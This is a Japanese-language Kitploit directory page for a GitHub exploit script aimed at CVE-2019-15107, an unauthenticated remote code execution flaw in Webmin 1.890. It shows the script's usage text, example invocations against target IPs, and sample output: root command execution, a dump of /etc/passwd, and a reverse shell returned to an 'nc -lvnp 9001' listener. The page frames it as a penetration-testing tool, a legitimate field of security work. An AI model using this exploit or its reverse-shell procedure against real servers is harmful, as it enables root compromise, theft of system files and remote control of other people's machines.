Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2019-15107 — CVE-2019-15107 Webmin 認証なしRCE | Kitploit
ツール/GitHubGitHub/nasrallahbaadi/cve-2019-15107
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールリモートアクセスツール
GitHubnasrallahbaadi/cve-2019-15107

CVE-2019-15107

CVE-2019-15107 Webmin 認証なしRCE

リポジトリを見る
32年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2019-15107 Webmin 1.890 認証不要のリモートコード実行

このスクリプトは、Webmin 1.890 の認証不要のコマンド実行脆弱性を悪用するために設計されています。ターゲットの Webmin サーバ上で任意のコマンドを実行したり、リバースシェルを取得したりできます。

使用方法

このエクスプロイトは5つの引数を取ります:

root@kitploit:~
$ python3 test.py -h                       
usage: test.py [-h] -i IP Address [-p Port number] [-c Command] [--shell] [-x]

Exploit unauthenticated command execution in Webmin 1.890.

options:
  -h, --help            show this help message and exit

required arguments:
  -i IP Address, --ip IP Address
                        Target ip address

optional arguments:
  -p Port number, --port Port number
                        Webmin port(default=10000)
  -c Command, --command Command
                        OS Command to execute (Default=id)
  --shell               Get a reverse shell
  -x, --proxy           Sends requests through Burp Suite proxy at 127.0.0.1:8080.

Example:
    python exploit.py -i 192.168.1.100
    python exploit.py -i 192.168.1.100 -p 10000 -c whoami
    python exploit.py -i 192.168.1.100 -x -c "ls -la"
    python exploit.py -i 192.168.1.100 --shell

唯一必須のオプションは -i で、ターゲットのIPアドレスを指定します。

-i のみでエクスプロイトを実行すると、ポート 10000 のターゲットに対してコマンド id が実行されます。

root@kitploit:~
$ python3 exploit.py -i 10.200.105.200 
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0

コマンドの実行

-c または --command オプションを使用して、実行するコマンドを指定できます:

root@kitploit:~
$ python3 exploit.py -i 10.200.105.200 -c 'cat /etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
[...]

リバースシェル

また、--shell オプションを使用してリバースシェルを取得することもできます。

自分のIPアドレスとリスニングポートの入力を求められます:

root@kitploit:~
$ python3 exploit.py -i 10.200.105.200 --shell 
Enter your ip address: 10.50.106.33
Enter your listening port: 9001
[+] Sending a shell to 10.50.106.33:9001...
root@kitploit:~
$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.50.106.33] from (UNKNOWN) [10.200.105.200] 41446
[root@prod-serv ]# 

プロキシ

-x または --proxy オプションを追加すると、127.0.0.1:8080 の Burp Suite プロキシ経由でリクエストを送信できます。

参考文献

https://nvd.nist.gov/vuln/detail/cve-2019-15107

ツールをダウンロード